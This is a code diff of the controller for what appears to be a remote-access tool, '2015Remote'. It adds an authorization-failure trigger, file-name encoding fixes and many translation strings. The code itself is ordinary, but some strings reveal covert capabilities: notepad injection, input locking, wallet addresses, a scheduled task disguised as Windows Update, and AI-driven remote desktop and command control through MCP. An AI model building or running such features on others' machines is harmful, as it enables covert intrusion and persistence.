     m_listTriggers.DeleteAllItems();
 
-    const char* typeNames[] = { "主机上线" };
+    const char* typeNames[] = { "主机上线", "授权失败" };
 
     int index = 0;
     for (const auto& cfg : m_Configs) {
@@ -264,6 +261,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
 
     TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
 
+    // 回显该触发器配置的插件，并同步下拉框选择
+    ReflectPluginsForType(type);
+    m_comboTriggerType.SetCurSel(type);
+}
+
+void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
+{
+    int sel = m_comboTriggerType.GetCurSel();
+    if (sel >= 0) {
+        ReflectPluginsForType((TriggerType)sel);
+    }
+}
+
+void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
+{
     // 查找对应的触发器配置
     TriggerConfig* cfg = nullptr;
     for (auto& c : m_Configs) {
@@ -291,9 +303,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
             }
         }
     }
-
-    // 同步下拉框选择
-    m_comboTriggerType.SetCurSel(type);
 }
 
 void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +436,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
     TriggerManager::Instance().Reload();
 }
 
-TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
-{
-    for (auto& cfg : configs) {
-        if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
-            return &cfg;
-        }
-    }
-    return nullptr;
-}
-
 // ============================================
 // TriggerManager 实现
 // ============================================
@@ -455,6 +454,7 @@ void TriggerManager::LoadFromDisk()
 {
     // 不加锁，由调用者保证线程安全
     m_OnlinePlugins.clear();
+    m_AuthFailedPlugins.clear();
 
     auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
     for (const auto& cfg : configs) {
@@ -462,6 +462,10 @@ void TriggerManager::LoadFromDisk()
             for (const auto& name : cfg.PluginNames) {
                 m_OnlinePlugins.insert(name);
             }
+        } else if (cfg.Type == TRIGGER_AUTH_FAILED) {
+            for (const auto& name : cfg.PluginNames) {
+                m_AuthFailedPlugins.insert(name);
+            }
         }
     }
     m_bLoaded = true;
@@ -495,3 +499,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
     LeaveCriticalSection(&m_cs);
     return result;
 }
+
+bool TriggerManager::HasAuthFailedTrigger()
+{
+    EnterCriticalSection(&m_cs);
+    if (!m_bLoaded) {
+        LoadFromDisk();
+    }
+    bool has = !m_AuthFailedPlugins.empty();
+    LeaveCriticalSection(&m_cs);
+    return has;
+}
+
+std::set<std::string> TriggerManager::GetAuthFailedPlugins()
+{
+    EnterCriticalSection(&m_cs);
+    if (!m_bLoaded) {
+        LoadFromDisk();
+    }
+    std::set<std::string> result = m_AuthFailedPlugins;  // 复制一份返回
+    LeaveCriticalSection(&m_cs);
+    return result;
+}

server/2015Remote/TriggerSettingsDlg.h

@@ -12,6 +12,7 @@ struct DllInfo;
 // 触发器类型
 enum TriggerType {
     TRIGGER_HOST_ONLINE = 0,    // 主机上线
+    TRIGGER_AUTH_FAILED = 1,    // 授权失败
     // 后续可扩展更多类型
 };
 
@@ -34,12 +35,18 @@ public:
     // 获取主机上线触发器的插件名称集合（高性能查询）
     std::set<std::string> GetOnlinePlugins();
 
+    // 获取授权失败触发器的插件名称集合（高性能查询）
+    std::set<std::string> GetAuthFailedPlugins();
+
     // 重新加载配置（保存后调用）
     void Reload();
 
     // 检查是否有上线触发器
     bool HasOnlineTrigger();
 
+    // 检查是否有授权失败触发器
+    bool HasAuthFailedTrigger();
+
 private:
     TriggerManager();
     ~TriggerManager();
@@ -49,7 +56,8 @@ private:
     void LoadFromDisk();
 
     CRITICAL_SECTION m_cs;
-    std::set<std::string> m_OnlinePlugins;  // 缓存的上线触发器插件名称
+    std::set<std::string> m_OnlinePlugins;      // 缓存的上线触发器插件名称
+    std::set<std::string> m_AuthFailedPlugins;  // 缓存的授权失败触发器插件名称
     bool m_bLoaded;
 };
 
@@ -68,8 +76,6 @@ public:
     static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
     // 静态方法：获取配置文件路径
     static std::string GetTriggerConfigPath();
-    // 静态方法：获取主机上线触发器（如果存在）
-    static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
 
 protected:
     virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
     afx_msg void OnBnClickedBtnTriggerAdd();
     afx_msg void OnBnClickedBtnTriggerRemove();
     afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
+    afx_msg void OnCbnSelchangeComboTriggerType();
 
 private:
     void InitControls();
     void LoadPluginsToList();
     void LoadTriggersToList();
     void UpdateTriggerDisplay();
+    // 回显指定触发类型已勾选的插件（取消其他勾选）
+    void ReflectPluginsForType(TriggerType type);
 
 private:
     std::vector<DllInfo*>& m_DllList;           // 引用主对话框的 DLL 列表

server/2015Remote/UIBranding.h

@@ -46,7 +46,7 @@
 
 // 程序版本号 [建议格式: X.Y.Z]
 // 影响：关于对话框、标题栏
-#define BRAND_VERSION           "1.3.9"
+#define BRAND_VERSION           "1.4.0"
 
 // 启动画面名称 [建议大写，更有 Logo 感]
 // 影响：启动画面 Logo 文字（大号艺术字体渲染）

server/2015Remote/WebService.cpp

@@ -35,6 +35,16 @@ static std::string LoadBinaryResourceAsString(int resourceId) {
     return std::string(static_cast<const char*>(p), size);
 }
 
+// Replace all occurrences of `from` with `to` in-place.
+static void ReplaceAll(std::string& s, const std::string& from, const std::string& to) {
+    if (from.empty()) return;
+    size_t pos = 0;
+    while ((pos = s.find(from, pos)) != std::string::npos) {
+        s.replace(pos, from.length(), to);
+        pos += to.length();
+    }
+}
+
 // Challenge-response nonce storage (prevents replay attacks)
 static std::map<void*, std::string> s_ClientNonces;
 static std::mutex s_NonceMutex;
@@ -231,6 +241,10 @@ void CWebService::ServerThread(int port) {
 
     // Serve static HTML page and file downloads
     static std::string cachedHtml = GetWebPageHTML();
+    // server/web/index.html carries a __BASE_PATH__ placeholder for the Go
+    // server's subpath deployment. The MFC server serves from the domain root,
+    // so strip it (→ "") — otherwise the WebSocket/CSS/JS URLs break.
+    ReplaceAll(cachedHtml, "__BASE_PATH__", "");
     // Log loaded size; zero bytes means the RC BINARY resource is missing or
     // server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
     Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
@@ -241,6 +255,7 @@ void CWebService::ServerThread(int port) {
     static std::string cachedXtermJs    = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
     static std::string cachedXtermCss   = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
     static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
+    static std::string cachedOpusDecoderJs = LoadBinaryResourceAsString(IDR_WEB_OPUS_DECODER_JS);
 
     auto buildStatic = [](const std::string& body, const std::string& mime) {
         ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
@@ -260,6 +275,9 @@ void CWebService::ServerThread(int port) {
         } else if (path == "/static/xterm-fit.js") {
             if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
             return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
+        } else if (path == "/static/opus-decoder.min.js") {
+            if (cachedOpusDecoderJs.empty()) return ws::HttpResponse::NotFound();
+            return buildStatic(cachedOpusDecoderJs, "application/javascript; charset=utf-8");
         } else if (path == "/health") {
             return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
         } else if (path == "/manifest.json") {

server/2015Remote/context.h

@@ -55,6 +55,16 @@ public:
     }
     virtual void SetGroupName(const std::string& group) {}
 
+    // 等待本连接待发送缓冲排空（用于「发写命令 → 补发刷新命令」的背靠背发送：
+    // 两次 Send2Client 会对同一发送缓冲并发 WSASend，造成竞态/丢包）。非 IOCP
+    // 服务端无异步发送缓冲，默认立即返回 true；CONTEXT_OBJECT 覆写为轮询发送缓冲
+    // 归零直到排空或超时。
+    virtual bool WaitSendIdle(int timeoutMs)
+    {
+        (void)timeoutMs;
+        return true;
+    }
+
     // 检查客户端是否支持 V2 文件传输
     bool SupportsFileV2() const {
         CString caps = GetClientData(ONLINELIST_CAPABILITIES);

server/2015Remote/file/CFileManagerDlg.cpp

@@ -7,6 +7,7 @@
 #include "InputDlg.h"
 #include <windows.h>
 #include <Shlwapi.h>
+#include <string>
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -157,6 +158,15 @@ BOOL CFileManagerDlg::OnInitDialog()
     SetDlgItemText(IDC_STATIC_FILE_WINOS_SEARCH, _TR("搜索文件名:"));
     SetDlgItemText(IDC_STATIC_FILE_WINOS_PATH, _TR("路径："));
 
+    // 多语言翻译 - 按钮/复选框（模板文字在非中文系统会被系统 ACP 转成 "?"，须显式设置）
+    SetDlgItemText(IDC_CK_SUBFORDLE, _TR("包含子文件夹"));
+    SetDlgItemText(IDC_BTN_SEARCH,   _TR("开始搜索"));
+    SetDlgItemText(ID_SEARCH_STOP,   _TR("停止搜索"));
+    SetDlgItemText(ID_SEARCH_RESULT, _TR("搜索栏"));
+    SetDlgItemText(IDT_REMOTE_PREV,  _TR("上一层"));
+    SetDlgItemText(IDT_REMOTE_VIEW,  _TR("切换显示"));
+    SetDlgItemText(IDT_REMOTE_STOP,  _TR("取消"));
+
     RECT	rect;
     GetClientRect(&rect);
 
@@ -644,22 +654,22 @@ void CFileManagerDlg::OnReceiveComplete()
         break;
     case TOKEN_FILE_SEARCHPLUS_NONTFS: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_TRF(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_HANDLE: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_INITUSN: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_GETUSN: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_NUMBER: {
@@ -764,13 +774,13 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
 
     int	nItem = m_list_remote_driver.GetSelectionMark();
     CString	directory = m_list_remote_driver.GetItemText(nItem, 0);
-    if (directory.Compare(_T("桌面")) == 0) {
+    if (directory.Compare(_L(_T("桌面"))) == 0) {
         m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath);
         m_list_remote.SetSelectionMark(-1);
         GetRemoteFileList();
         return;
     }
-    if (directory.Compare(_T("最近")) == 0) {
+    if (directory.Compare(_L(_T("最近"))) == 0) {
         BYTE byToken = COMMAND_FILE_RECENT;
         m_ContextObject->Send2Client(&byToken, 1);
         return;
@@ -809,8 +819,32 @@ void CFileManagerDlg::OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult)
 
 int	GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes);
 
+// 远程文件名/路径编码按 clientType 判定：Windows 走 A 接口(FindFirstFileA)=GBK/936，
+// LNX/MAC 文件系统天然 UTF-8（同 McpServer.cpp::BuildListFiles）。这里用 LVM_SETITEMTEXTW
+// 直接写宽字符串，绕开 ANSI→CP_ACP 回转，即使服务端运行在非中文 ACP 上中文名也能正常显示。
+static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 重建标题
     m_list_remote.DeleteAllItems();
     int	nItemIndex = 0;
@@ -846,7 +880,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 
                 if (bIsInsert) {
                     int iicon = GetIconIndex(pszFileName, nType);
-                    nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon);
+                    nItem = m_list_remote.InsertItem(nItemIndex++, _T(""), iicon);
+                    SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
                     m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
                     SHFILEINFO	sfi = {};
                     SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -1482,10 +1517,10 @@ void CFileManagerDlg::EndLocalRecvFile()
         DWORD_PTR dwResult;
         if (m_bIsStop) {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         } else {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         }
         m_bIsStop = false;
     } else {
@@ -1516,10 +1551,10 @@ void CFileManagerDlg::EndLocalUploadFile()
         DWORD_PTR dwResult;
         if (m_bIsStop) {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         } else {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         }
         m_bIsStop = false;
         DRIVE_CAZ = TRUE;
@@ -2412,6 +2447,9 @@ void CFileManagerDlg::SearchEnd()
 
 void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     byte* pList = pbBuffer + 1;
     int		nItemIndex = 0;
     for (byte* pBase = pList; (int)(pList - pBase) < (int)(dwBufferLen - 1);) {
@@ -2430,7 +2468,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe
         int nPos = csFilePath.ReverseFind(_T('\\'));
         csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// 获取文件全名，包括文件名和扩展名
 
-        nItem = m_list_remote_search.InsertItem(nItemIndex++, csFileFullName, GetIconIndex(pszFileName, nType));
+        nItem = m_list_remote_search.InsertItem(nItemIndex++, _T(""), GetIconIndex(pszFileName, nType));
+        SetFileTextItem(m_list_remote_search, nItem, 0, csFileFullName, cp);
         m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
 
         pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR);
@@ -2446,7 +2485,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe
         m_list_remote_search.SetItemText(nItem, 2, time.FormatL(_T("%Y-%m-%d %H:%M")));
 
         PathRemoveFileSpec(pszFileName); //去除文件名获取文件路径
-        m_list_remote_search.SetItemText(nItem, 3, pszFileName);
+        SetFileTextItem(m_list_remote_search, nItem, 3, pszFileName, cp);
 
         pList += 16;
     }
@@ -2482,6 +2521,9 @@ void CFileManagerDlg::ShowSearchPlugList()
     char* Filename;
     char* Pathname;
 
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     DWORD	dwOffset = 0;
     m_list_remote_search.DeleteAllItems();
     int i = 0;
@@ -2489,13 +2531,13 @@ void CFileManagerDlg::ShowSearchPlugList()
         Filename = lpBuffer + dwOffset;
         Pathname = Filename + strlen(Filename) + 1;
         CString CS_tem;
-        CS_tem = Filename;
-        m_list_remote_search.InsertItem(i, CS_tem, 0);
+        m_list_remote_search.InsertItem(i, _T(""), 0);
+        SetFileTextItem(m_list_remote_search, i, 0, Filename, cp);
         CS_tem = Pathname;
         int index = CS_tem.ReverseFind('\\');
         if (index >= 0)
             CS_tem = CS_tem.Left(index);
-        m_list_remote_search.SetItemText(i,3, CS_tem);
+        SetFileTextItem(m_list_remote_search, i, 3, CS_tem, cp);
         dwOffset += strlen(Filename) + strlen(Pathname) + 2;
     }
     m_list_remote_search.EnableWindow(TRUE);

server/2015Remote/lang/en_US.ini

@@ -99,6 +99,8 @@ RTT=RTT
 即时消息=Message
 虚拟屏幕=Virtual Screen
 隐私屏幕=Privacy Screen
+实验功能=Experimental Features
+远程画板=Remote Drawing Board
 代理服务=Proxy Service
 注入设置=Inject Config
 创建计划任务=Scheduled Task
@@ -121,6 +123,7 @@ RTT=RTT
 
 ; ============================================
 ; Language Selection Dialog
+切换语言=Switch Language
 ; ============================================
 选择语言 / Select Language=Select Language
 语言:=Language:
@@ -231,6 +234,8 @@ RTT=RTT
 放下面=Send Back
 透明度=Opacity
 截图=Capture
+获取剪贴板=Get Clipboard
+设置剪贴板=Set Clipboard
 
 ; ============================================
 ; Settings Dialog
@@ -304,6 +309,7 @@ Web
 ; ============================================
 发送消息=Send Msg
 结束交谈=End Chat
+确定开始远程交谈吗?=Start remote chat?
 锁定屏幕\n屏蔽功能键=Lock Screen\nBlock Keys
 解除锁定=Unlock
 
@@ -388,6 +394,7 @@ Rar
 客户管理=Client Mgmt
 转移主机=Transfer Host
 分享主机=Share Host
+使用 Shine 协议(兼容 Go 服务端)=Use Shine protocol (Go-server compatible)
 取消分享=Cancel Sharing
 确定取消分享主机? 将撤销全部的分享链接。=Cancel sharing clients? This will remove all share links.
 删除主机=Delete Host
@@ -407,6 +414,7 @@ Rar
 撤销授权=Revoke Auth
 注入记事本=Inject Notepad
 机器管理=Machine Mgmt
+主机管理=Host Mgmt
 注销=Log Off
 关机=Shutdown
 重启=Restart
@@ -1351,7 +1359,7 @@ FUCK!!!
 编辑备注=Edit remarks
 自己:=Self:
 视频文件(*.avi)|*.avi|=Video(*.avi)|*.avi|
-解除锁定输入=解除锁定输入
+解除锁定输入=Unlock Remote Input
 计算机已经被用户锁屏，程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制，是否继续?=Computer locked, no SYSTEM.\r\nRemote may fail, continue?
 请先生成口令!=Generate password first!
 请将EXE放在\=Put EXE in \
@@ -1393,6 +1401,7 @@ RDP
 C2C 文件传输=C2C File Transfer
 续传文件 (V2)=Resume File Upload (V2)
 发送文件 (V2)=Send File (V2)
+接收文件 (V2)=Receive File (V2)
 发送文件(%d/%d): %.2f%%=Send Files(%d/%d): %.2f%%
 接收文件(%d/%d): %.2f%%=Recv Files(%d/%d): %.2f%%
 [远程右键复制, 本地 Ctrl+V 粘贴]= [Remote Right-click Copy, Local Ctrl+V Paste]
@@ -1490,7 +1499,7 @@ SMTP
 触发条件:=Trigger:
 匹配列:=Match Column:
 关键词:=Keywords:
-(多个关键词用分号分隔，匹配任一项即触发通知)=(Multiple keywords separated by semicolon)
+(每行一个关键词，匹配任一项即触发通知)=(One keyword per line)
 提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes
 主机上线=Host Online
 IP地址=IP Address
@@ -1821,6 +1830,7 @@ IOCP
 触发类型:=Trigger Type:
 执行动作:=Action:
 主机上线=Host Online
+授权失败=Authorization Failed
 插件名称=Plugin Name
 触发器=Trigger
 已配置的触发器=Configured Triggers
@@ -1987,15 +1997,90 @@ MCP
 端口需为 1-65535 的数字=Port must be a number between 1 and 65535
 Token 不能为空=Token cannot be empty
 MCP 设置已保存。=MCP settings saved.
-启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。=Changes to enable/port/bind address/token/read-only/whitelist/persistent terminal/remote control/file transfer take effect after restart.
+启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=Changes to enable/port/bind address/token/read-only/whitelist/persistent terminal/remote control/file transfer/management operations take effect after restart.
 只读模式（禁命令执行）=Read-only mode (disable command execution)
 命令白名单=Command whitelist
 MCP命令执行=MCP command execution
 启用持久终端（全命令，无白名单）=Enable persistent terminal (full commands, no whitelist)
-持久终端与远程控制仅在只读模式关闭时生效。=Persistent terminal and remote control take effect only when read-only mode is off.
+持久终端、远程控制与管理操作仅在只读模式关闭时生效。=Persistent terminal, remote control and management operations take effect only when read-only mode is off.
 MCP持久终端=MCP persistent terminal
 MCP远程控制=MCP remote control
 MCP文件传输=MCP file transfer
+MCP管理操作=MCP management operation
 Token=Token
 启用远程控制（AI 操控桌面）=Enable remote control (AI controls the desktop)
 启用文件传输（download_file）=Enable file transfer (download_file)
+启用管理操作（进程/窗口/服务/电源）=Enable management operations (process/window/service/power)
+第 %d 个钱包地址不合法!=Wallet address #%d is invalid!
+%d 新连接\r\n=%d New connection\r\n
+%d 本地连接断开\r\n=%d Local connection closed\r\n
+%d <==发 %d bytes\r\n=%d <== sent %d bytes\r\n
+%d 返回标示 %d %d %d\r\n=%d Return flag %d %d %d\r\n
+域名 连接 %d \r\n=Domain connect %d \r\n
+%d IPV6连接 不支持...=%d IPv6 connection not supported...
+%d 不符要求, 断开 %d %d %d\r\n=%d Not compliant, disconnect %d %d %d\r\n
+%d 连接成功\r\n=%d Connected\r\n
+%d 连接失败\r\n=%d Connection failed\r\n
+%d ==>收 %d bytes\r\n=%d ==> received %d bytes\r\n
+ 驱动盘非NTFS格式= Drive is not NTFS
+需要管理员权限运行=Administrator privileges required
+初始化日志文件失败=Failed to initialize log file
+获取日志文件失败=Failed to get log file
+ 取消下载= Download cancelled
+ 全部完成= All done
+ 取消上传= Upload cancelled
+无权限或无记录...=No permission or no records...
+请等待数据返回...=Waiting for data...
+接收数据完成=Data received
+打开文件失败...=Failed to open file...
+此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=This task starts the Windows Update service when needed to run scheduled operations (e.g. scanning)
+本地文件路径=Local file path
+高级(&A)=&Advanced
+远程桌面质量等级(&Q)=Remote Desktop &Quality Levels
+远程桌面质量等级=Remote Desktop Quality Levels
+等级=Level
+帧率(FPS)=FPS
+最大宽度=Max Width
+编码算法=Codec
+码率(kbps)=Bitrate (kbps)
+Ultra 极佳=Ultra
+High 优秀=High
+Good 良好=Good
+Medium 一般=Medium
+Low 较差=Low
+Minimal 最低=Minimal
+最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网=Max Width 0 = native resolution; DIFF/RGB565 for LAN, H264 for WAN
+恢复默认=Restore Defaults
+质量等级已保存，下次打开远程桌面时生效。=Quality levels saved. They take effect the next time you open Remote Desktop.
+屏幕预览质量等级(&P)=Screen Preview &Quality Levels
+屏幕预览质量等级=Screen Preview Quality Levels
+JPEG质量=JPEG Quality
+最大宽度为期望编码宽度；JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100
+预览质量等级已保存，下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent.
+
+; ============================================
+; File Transfer Speed Dialog (文件传输速度)
+; ============================================
+文件传输速度(&F)...=&File Transfer Speed...
+文件传输速度=File Transfer Speed
+拖动滑块设置文件传输速度：=Drag the slider to set the transfer speed:
+最慢=Slowest
+慢=Slow
+默认=Default
+快=Fast
+更快=Faster
+很快=Very Fast
+不限速=Unlimited
+%s · 约 %.2f MB/s=%s · about %.2f MB/s
+%s · 不受限速（受网络带宽约束）=%s · Unlimited (limited by network bandwidth)
+文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed has been pushed to online clients, and newly connected hosts will get it automatically.
+
+连接管理=Connections
+%s - 连接管理=%s - Connections
+本地地址=Local Address
+本地端口=Local Port
+远端地址=Remote Address
+远端端口=Remote Port
+连接数:%d=Connections: %d
+强制断开=Force Disconnect
+远程交谈=Talk

server/2015Remote/lang/zh_TW.ini

@@ -99,6 +99,8 @@ RTT=RTT
 即时消息=即時訊息
 虚拟屏幕=虛擬桌面
 隐私屏幕=隱私螢幕
+实验功能=實驗功能
+远程画板=遠端繪圖板
 代理服务=代理服務
 注入设置=注入設定
 创建计划任务=建立排程工作
@@ -121,6 +123,7 @@ RTT=RTT
 
 ; ============================================
 ; Language Selection Dialog
+切換語言=切換語言
 ; ============================================
 选择语言 / Select Language=選擇語言
 语言:=語言:
@@ -230,6 +233,8 @@ RTT=RTT
 放下面=置於下層
 透明度=透明度
 截图=擷取螢幕
+获取剪贴板=取得剪貼簿
+设置剪贴板=設定剪貼簿
 
 ; ============================================
 ; Settings Dialog
@@ -304,6 +309,7 @@ Web
 ; ============================================
 发送消息=傳送訊息
 结束交谈=結束交談
+确定开始远程交谈吗?=確定開始遠程交談嗎?
 锁定屏幕\n屏蔽功能键=鎖定螢幕\n屏蔽功能鍵
 解除锁定=解除鎖定
 
@@ -388,6 +394,7 @@ Rar
 客户管理=用戶管理
 转移主机=轉移主機
 分享主机=分享主機
+使用 Shine 协议(兼容 Go 服务端)=使用 Shine 協議(相容 Go 伺服器)
 取消分享=取消分享
 确定取消分享主机? 将撤销全部的分享链接。=确定取消分享主机? 将撤销全部的分享链接。
 删除主机=刪除主機
@@ -407,6 +414,7 @@ Rar
 撤销授权=撤銷授權
 注入记事本=注入記事本
 机器管理=機器管理
+主机管理=主機管理
 注销=登出
 关机=關機
 重启=重新啟動
@@ -1389,6 +1397,7 @@ RDP
 C2C 文件传输=C2C 檔案傳輸
 续传文件 (V2)=續傳檔案 (V2)
 发送文件 (V2)=傳送檔案 (V2)
+接收文件 (V2)=接收檔案 (V2)
 发送文件(%d/%d): %.2f%%=发送文件(%d/%d): %.2f%%
 接收文件(%d/%d): %.2f%%=接收文件(%d/%d): %.2f%%
 [远程右键复制, 本地 Ctrl+V 粘贴]= [遠端右鍵複製, 本地 Ctrl+V 貼上]
@@ -1813,6 +1822,7 @@ IOCP
 触发类型:=觸發類型:
 执行动作:=執行動作:
 主机上线=主機上線
+授权失败=授權失敗
 插件名称=外掛名稱
 触发器=觸發器
 已配置的触发器=已設定的觸發器
@@ -1978,15 +1988,90 @@ MCP
 端口需为 1-65535 的数字=連接埠需為 1-65535 的數字
 Token 不能为空=Token 不能為空
 MCP 设置已保存。=MCP 設定已儲存。
-启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。=啟用/連接埠/綁定位址/Token/唯讀/白名單/持久終端/遠端控制/檔案傳輸的變更需重新啟動程式後生效。
